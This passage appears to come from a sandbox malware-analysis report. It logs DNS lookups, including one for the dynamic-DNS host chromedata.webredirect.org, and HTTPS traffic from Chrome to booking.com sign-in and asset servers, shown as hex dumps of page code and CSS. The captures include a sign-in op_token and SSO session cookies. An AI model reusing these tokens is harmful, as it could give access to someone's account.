Nov 2, 2024 14:03:27.678941965 CET	1.1.1.1	192.168.2.5	0x6bcc	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.5	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:03:42.256335974 CET	1.1.1.1	192.168.2.5	0xe8e5	No error (0)	chromedata.webredirect.org		128.90.129.125	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.100568056 CET	1.1.1.1	192.168.2.5	0x80ad	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:04:22.100568056 CET	1.1.1.1	192.168.2.5	0x80ad	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:04:22.100568056 CET	1.1.1.1	192.168.2.5	0x80ad	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.15	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.100568056 CET	1.1.1.1	192.168.2.5	0x80ad	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.101	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.100568056 CET	1.1.1.1	192.168.2.5	0x80ad	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.83	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.100568056 CET	1.1.1.1	192.168.2.5	0x80ad	No error (0)	de2trjlt8e8rj.cloudfront.net		18.239.69.6	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.107744932 CET	1.1.1.1	192.168.2.5	0x95d6	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:04:22.111305952 CET	1.1.1.1	192.168.2.5	0xfa3e	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:04:22.111305952 CET	1.1.1.1	192.168.2.5	0xfa3e	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:22.122594118 CET	1.1.1.1	192.168.2.5	0xf80d	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:04:22.122594118 CET	1.1.1.1	192.168.2.5	0xf80d	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 14:04:28.030605078 CET	1.1.1.1	192.168.2.5	0x6da3	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.26	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:28.030605078 CET	1.1.1.1	192.168.2.5	0x6da3	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.88	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:28.030605078 CET	1.1.1.1	192.168.2.5	0x6da3	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.87	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:28.030605078 CET	1.1.1.1	192.168.2.5	0x6da3	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		13.224.222.10	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:29.232726097 CET	1.1.1.1	192.168.2.5	0x6b16	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.56	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:29.232726097 CET	1.1.1.1	192.168.2.5	0x6b16	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.104	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:29.232726097 CET	1.1.1.1	192.168.2.5	0x6b16	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.5	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:29.232726097 CET	1.1.1.1	192.168.2.5	0x6b16	No error (0)	d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com		108.138.26.94	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:04:40.544348955 CET	1.1.1.1	192.168.2.5	0x824c	No error (0)	chromedata.webredirect.org		128.90.129.125	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	99.86.4.72	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:04 UTC	958	OUT	GET /sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI HTTP/1.1 Host: account.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:05 UTC	2889	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: envoy date: Sat, 02 Nov 2024 13:00:04 GMT set-cookie: bkng_ap=U2FsdGVkX18wu%2BissjGDgpVJJXgVu%2FiDrd3e0Hk6QmiTkzgsoOBxE399LovQjxt8JWGwoT8D6mtm%0AO%2BpijFpcwg%3D%3D%0A; domain=account.booking.com; path=/; secure; HttpOnly Set-Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; Domain=.booking.com; Path=/; Expires=Sun, 02 Nov 2025 13:00:04 GMT; HttpOnly; Secure; SameSite=Lax Set-Cookie: bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; Domain=.booking.com; Path=/; Expires=Mon, 02 Nov 2026 13:00:04 GMT; HttpOnly; Secure; SameSite=Lax content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM; script-src s [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 7ed7afde326861e358c3c83359e99894.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA6-C1 X-Amz-Cf-Id: 5-WRZiPFdjRxlK93k8-WzkMbKqnKwK3o0cm3K_OfU8EBuz0TLAaJww==
2024-11-02 13:00:05 UTC	13322	IN	Data Raw: 33 34 30 32 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6f 58 6e 76 32 50 79 53 36 41 72 4e 41 31 6b 22 3e 0a 20 20 20 20 20 20 20 20 0a 28 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 2c 20 64 6f 63 20 29 20 7b 0a 0a 20 20 20 20 76 61 72 20 65 72 72 6f 72 73 20 20 20 20 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 65 72 72 6f 72 43 6f 75 6e 74 20 3d 20 30 2c 0a 20 20 20 20 20 20 20 20 63 61 6e 50 61 72 Data Ascii: 3402<!DOCTYPE html><html class="no-js" lang="en-us"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /> <script nonce="oXnv2PyS6ArNA1k"> (function( win, doc ) { var errors = [], errorCount = 0, canPar
2024-11-02 13:00:05 UTC	1074	IN	Data Raw: 34 32 62 0d 0a 65 72 72 6f 72 20 29 0a 0a 20 20 20 20 20 20 20 20 7d 2c 20 66 75 6e 63 74 69 6f 6e 28 20 72 65 73 70 6f 6e 73 65 54 65 78 74 2c 20 72 65 73 70 6f 6e 73 65 53 74 61 74 75 73 20 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 2b 72 65 73 70 6f 6e 73 65 53 74 61 74 75 73 20 3d 3d 3d 20 35 30 33 20 7c 7c 20 72 65 73 70 6f 6e 73 65 54 65 78 74 20 3d 3d 3d 20 27 73 68 75 74 20 75 70 27 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 45 52 56 45 52 5f 41 53 4b 45 44 5f 54 4f 5f 42 4c 4f 43 4b 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 72 65 61 74 65 43 6f 6f 6b 69 65 28 20 27 65 72 72 6f 72 5f 63 61 74 63 68 65 72 27 2c 20 27 6b 69 6c 6c 27 2c 20 33 30 20 29 3b 0a 20 20 20 20 Data Ascii: 42berror ) }, function( responseText, responseStatus ) { if ( +responseStatus === 503 \|\| responseText === 'shut up' ) { SERVER_ASKED_TO_BLOCK = true; createCookie( 'error_catcher', 'kill', 30 );
2024-11-02 13:00:05 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 65 6d 20 20 20 20 20 20 3d 20 6a 51 75 65 72 79 28 20 74 61 72 67 65 74 20 29 2c 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 20 20 20 20 20 20 20 20 3d 20 65 6c 65 6d 2e 61 74 74 72 28 20 27 69 64 27 20 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 61 67 4e 61 6d 65 20 20 20 3d 20 28 20 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 20 7c 7c 20 27 27 20 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 72 65 6e 74 45 6c 65 6d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 72 65 6e 74 49 44 2c 0a 20 20 20 Data Ascii: 3ffa elem = jQuery( target ), id = elem.attr( 'id' ), tagName = ( target.tagName \|\| '' ).toLowerCase(), parentElem, parentID,
2024-11-02 13:00:05 UTC	16384	IN	Data Raw: 0d 0a 38 62 63 65 0d 0a 20 28 7b 7d 29 2e 74 6f 53 74 72 69 6e 67 2e 61 70 70 6c 79 28 20 76 61 6c 75 65 20 29 20 29 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 76 61 6c 75 65 5b 20 6b 65 79 73 5b 20 69 20 5d 20 5d 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 65 66 69 6e 65 64 28 20 76 61 6c 75 65 20 29 20 3f 20 76 61 6c 75 65 20 3a 20 55 4e 44 45 46 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 65 66 69 6e 65 64 28 20 76 61 6c 75 65 20 29 20 3f 20 76 61 6c 75 65 20 3a 20 55 4e 44 45 Data Ascii: 8bce ({}).toString.apply( value ) ) ) { value = value[ keys[ i ] ]; } else { return defined( value ) ? value : UNDEF; } } return defined( value ) ? value : UNDE
2024-11-02 13:00:05 UTC	16384	IN	Data Raw: 6d 65 22 3a 22 4e 6f 72 74 68 65 72 6e 20 4d 61 72 69 61 6e 61 20 49 73 6c 61 6e 64 73 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 6d 71 22 2c 22 6e 61 6d 65 22 3a 22 4d 61 72 74 69 6e 69 71 75 65 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 35 39 36 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 4d 61 75 72 69 74 61 6e 69 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 6d 72 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 32 32 32 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 6d 73 22 2c 22 6e 61 6d 65 22 3a 22 4d 6f 6e 74 73 65 72 72 61 74 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 31 20 36 36 34 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 4d 61 6c 74 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 6d 74 22 2c 22 70 72 65 66 69 78 22 3a 22 2b Data Ascii: me":"Northern Mariana Islands"},{"country_code":"mq","name":"Martinique","prefix":"+596"},{"name":"Mauritania","country_code":"mr","prefix":"+222"},{"country_code":"ms","name":"Montserrat","prefix":"+1 664"},{"name":"Malta","country_code":"mt","prefix":"+
2024-11-02 13:00:05 UTC	3032	IN	Data Raw: 6e 67 20 63 61 6e 27 74 20 73 75 70 70 6f 72 74 20 74 68 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 73 20 6f 66 20 74 68 69 73 20 61 70 70 2e 20 50 75 6c 73 65 20 72 65 71 75 69 72 65 73 20 69 4f 53 20 7b 6d 69 6e 5f 6f 73 5f 72 65 71 75 69 72 65 64 7d 20 6f 72 20 67 72 65 61 74 65 72 2e 20 48 65 61 64 20 74 6f 20 41 70 70 6c 65 20 73 75 70 70 6f 72 74 20 74 6f 20 66 69 6e 64 20 6f 75 74 20 68 6f 77 20 74 6f 20 75 70 67 72 61 64 65 20 79 6f 75 72 20 4f 53 2e 22 2c 22 61 63 63 6f 75 6e 74 5f 62 6f 74 5f 63 68 61 6c 6c 65 6e 67 65 5f 68 65 6c 70 5f 72 65 61 73 6f 6e 32 22 3a 22 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 73 75 70 70 6f 72 74 20 63 6f 6f 6b 69 65 73 22 2c 22 69 75 78 5f 64 61 74 65 5f 6f 66 5f 62 69 72 74 68 5f 64 61 Data Ascii: ng can't support the latest versions of this app. Pulse requires iOS {min_os_required} or greater. Head to Apple support to find out how to upgrade your OS.","account_bot_challenge_help_reason2":"Your browser doesn't support cookies","iux_date_of_birth_da
2024-11-02 13:00:05 UTC	9225	IN	Data Raw: 32 34 30 31 0d 0a 62 65 69 6e 67 20 73 68 61 72 65 64 20 77 69 74 68 20 7b 61 63 63 6f 6d 6d 6f 64 61 74 69 6f 6e 5f 70 72 6f 76 69 64 65 72 7d 2c 20 77 68 6f 73 65 20 63 6f 6e 74 61 63 74 20 69 6e 66 6f 20 77 69 6c 6c 20 62 65 20 70 72 6f 76 69 64 65 64 20 74 6f 20 6d 65 20 69 6e 20 74 68 65 20 62 6f 6f 6b 69 6e 67 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2e 22 2c 22 69 75 78 5f 64 61 74 65 5f 6f 66 5f 62 69 72 74 68 5f 79 65 61 72 5f 72 65 71 75 69 72 65 64 22 3a 22 45 6e 74 65 72 20 74 68 65 20 79 65 61 72 20 79 6f 75 20 77 65 72 65 20 62 6f 72 6e 22 2c 22 69 64 65 6e 74 69 74 79 5f 63 6f 6e 74 69 6e 75 65 5f 77 69 74 68 5f 70 68 6f 6e 65 22 3a 22 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 20 70 68 6f 6e 65 22 2c 22 61 63 63 6f 75 6e 74 5f 70 6f 72 74 61 6c Data Ascii: 2401being shared with {accommodation_provider}, whose contact info will be provided to me in the booking confirmation.","iux_date_of_birth_year_required":"Enter the year you were born","identity_continue_with_phone":"Continue with phone","account_portal
2024-11-02 13:00:05 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 e2 80 93 20 43 61 6c 69 66 6f 72 6e 69 61 20 72 65 73 69 64 65 6e 74 73 20 6f 6e 6c 79 22 2c 22 61 70 5f 73 65 74 74 69 6e 67 73 5f 69 6e 64 65 78 5f 70 65 72 73 6f 6e 61 6c 5f 74 69 74 6c 65 22 3a 22 50 65 72 73 6f 6e 61 6c 20 69 6e 66 6f 22 2c 22 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5f 74 66 61 5f 63 61 6e 63 65 6c 5f 63 74 61 22 3a 22 43 61 6e 63 65 6c 22 2c 22 61 63 63 6f 75 6e 74 5f 74 66 61 5f 6f 70 74 69 6f 6e 73 5f 69 6e 66 6f 72 6d 22 3a 22 53 65 6c 65 63 74 20 74 68 65 20 72 65 61 73 6f 6e 20 79 6f 75 20 63 61 6e 27 74 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 70 72 6f 63 65 73 73 3a 22 2c 22 69 64 65 6e 74 69 74 79 5f 72 65 67 69 73 74 65 Data Ascii: 3ffa information California residents only","ap_settings_index_personal_title":"Personal info","account_settings_tfa_cancel_cta":"Cancel","account_tfa_options_inform":"Select the reason you can't complete the verification process:","identity_registe
2024-11-02 13:00:05 UTC	16336	IN	Data Raw: 0d 0a 33 66 63 36 0d 0a 65 64 22 3a 22 4f 6c 64 20 70 61 73 73 77 6f 72 64 73 20 63 61 6e 27 74 20 62 65 20 72 65 75 73 65 64 20 e2 80 93 20 63 68 6f 6f 73 65 20 61 20 64 69 66 66 65 72 65 6e 74 20 6f 6e 65 22 2c 22 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5f 73 65 63 75 72 69 74 79 5f 61 63 74 69 76 65 5f 73 65 73 73 69 6f 6e 73 5f 69 6e 66 6f 72 6d 22 3a 22 43 6c 69 63 6b 69 6e 67 20 68 65 72 65 20 77 69 6c 6c 20 6c 6f 67 20 79 6f 75 20 6f 75 74 20 66 72 6f 6d 20 61 6c 6c 20 64 65 76 69 63 65 73 20 65 78 63 65 70 74 20 74 68 69 73 20 6f 6e 65 2e 22 2c 22 61 63 63 5f 73 65 63 5f 69 6e 63 69 64 65 6e 74 5f 72 65 70 6f 72 74 5f 6c 69 6e 6b 5f 73 6f 63 69 61 6c 5f 65 6e 67 69 6e 65 65 72 69 6e 67 22 3a 22 4f 6e 6c 69 6e 65 20 53 65 63 75 72 69 74 79 Data Ascii: 3fc6ed":"Old passwords can't be reused choose a different one","account_settings_security_active_sessions_inform":"Clicking here will log you out from all devices except this one.","acc_sec_incident_report_link_social_engineering":"Online Security
2024-11-02 13:00:05 UTC	16384	IN	Data Raw: 66 66 63 30 0d 0a 75 65 73 74 20 6e 65 77 20 63 6f 64 65 22 2c 22 61 63 63 5f 73 65 63 5f 69 6e 63 69 64 65 6e 74 5f 72 65 70 6f 72 74 5f 72 61 64 69 6f 5f 61 63 63 6f 75 6e 74 5f 68 61 63 6b 65 64 22 3a 22 49 20 62 65 6c 69 65 76 65 20 6d 79 20 45 78 74 72 61 6e 65 74 20 61 63 63 6f 75 6e 74 20 68 61 73 20 62 65 65 6e 20 68 61 63 6b 65 64 22 2c 22 69 64 65 6e 74 69 74 79 5f 61 63 63 6f 75 6e 74 5f 73 69 67 6e 5f 69 6e 5f 61 6d 61 7a 6f 6e 22 3a 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 41 6d 61 7a 6f 6e 22 2c 22 69 75 78 5f 64 61 74 65 5f 6f 66 5f 62 69 72 74 68 5f 69 6e 76 61 6c 69 64 5f 79 65 61 72 22 3a 22 45 6e 74 65 72 20 61 20 76 61 6c 69 64 20 79 65 61 72 20 75 73 69 6e 67 20 34 20 64 69 67 69 74 73 22 2c 22 69 64 65 6e 74 69 74 79 5f 70 61 73 73 Data Ascii: ffc0uest new code","acc_sec_incident_report_radio_account_hacked":"I believe my Extranet account has been hacked","identity_account_sign_in_amazon":"Sign in with Amazon","iux_date_of_birth_invalid_year":"Enter a valid year using 4 digits","identity_pass

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:06 UTC	585	OUT	GET /psb/accountsportal/assets/709_c32002792e35c69191e8.css HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:06 UTC	713	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 231572 Connection: close Date: Sat, 02 Nov 2024 09:39:33 GMT Last-Modified: Fri, 01 Nov 2024 17:50:37 GMT ETag: "95744d9b9384066e908e63bbad3a188b" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: JNUTziuBjmXZnEdj04Q1NTQ8sDWD9EU5 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 f996db233b87d6765cc5ad56701268d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: QqE8d4xvubYDkcOnZK-WJ7v-t-D2oKMnNcBuZXRb1ku4gpzNo1Mbgw== Age: 12034 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:06 UTC	16384	IN	Data Raw: 2e 54 32 72 57 4e 70 70 50 68 6b 74 53 59 73 6b 6a 55 76 31 79 7b 70 6f 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 54 32 72 57 4e 70 70 50 68 6b 74 53 59 73 6b 6a 55 76 31 79 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 2d 2d 73 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 2d 2d 73 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 54 32 72 57 4e 70 70 50 68 6b 74 53 59 73 6b 6a 55 76 31 79 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 2d 2d 6d 22 5d 7b 2d Data Ascii: .T2rWNppPhktSYskjUv1y{position:var(--bui_mixin_position)!important}.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--s"]{--bui_mixin_position:var(--bui_mixin_position--s)}@media (min-width:576px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--m"]{-
2024-11-02 13:00:06 UTC	16384	IN	Data Raw: 69 5f 6d 69 78 69 6e 5f 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 71 79 53 62 58 49 39 43 41 75 71 62 44 77 5a 32 54 72 4a 52 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 2d 2d 73 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 2d 2d 73 29 7d 2e 71 79 53 62 58 49 39 43 41 75 71 62 44 77 5a 32 54 72 4a 52 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 2d 2d 73 22 5d 7b 2d 2d 62 75 69 5f 6d 69 Data Ascii: i_mixin_margin-block-start)!important}.qySbXI9CAuqbDwZ2TrJR[style="--bui_mixin_margin-block-start--s"]{--bui_mixin_margin-block-start:var(--bui_mixin_margin-block-start--s)}.qySbXI9CAuqbDwZ2TrJR[style="--bui_mixin_spaced_margin-block-start--s"]{--bui_mi
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 29 7d 2e 74 55 63 48 4e 71 35 4f 75 53 58 53 72 73 43 4c 56 66 37 41 20 2e 54 62 4b 64 45 6e 71 30 64 71 79 4b 72 55 77 57 74 4b 73 62 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 6f 72 64 65 72 29 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 6f 72 64 65 72 29 7d 2e 4c 70 4f 75 6f 72 6c 4a 63 61 46 5a 69 59 6e 44 6c 4d 50 4a 3a 61 66 74 65 72 2c 2e 4c 70 4f 75 6f 72 6c 4a 63 61 46 5a 69 59 6e 44 6c 4d 50 4a 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 63 75 72 72 65 6e 74 63 6f 6c 6f 72 7d 2e 4c 70 4f 75 6f 72 6c 4a 63 61 46 5a 69 Data Ascii: )}.tUcHNq5OuSXSrsCLVf7A 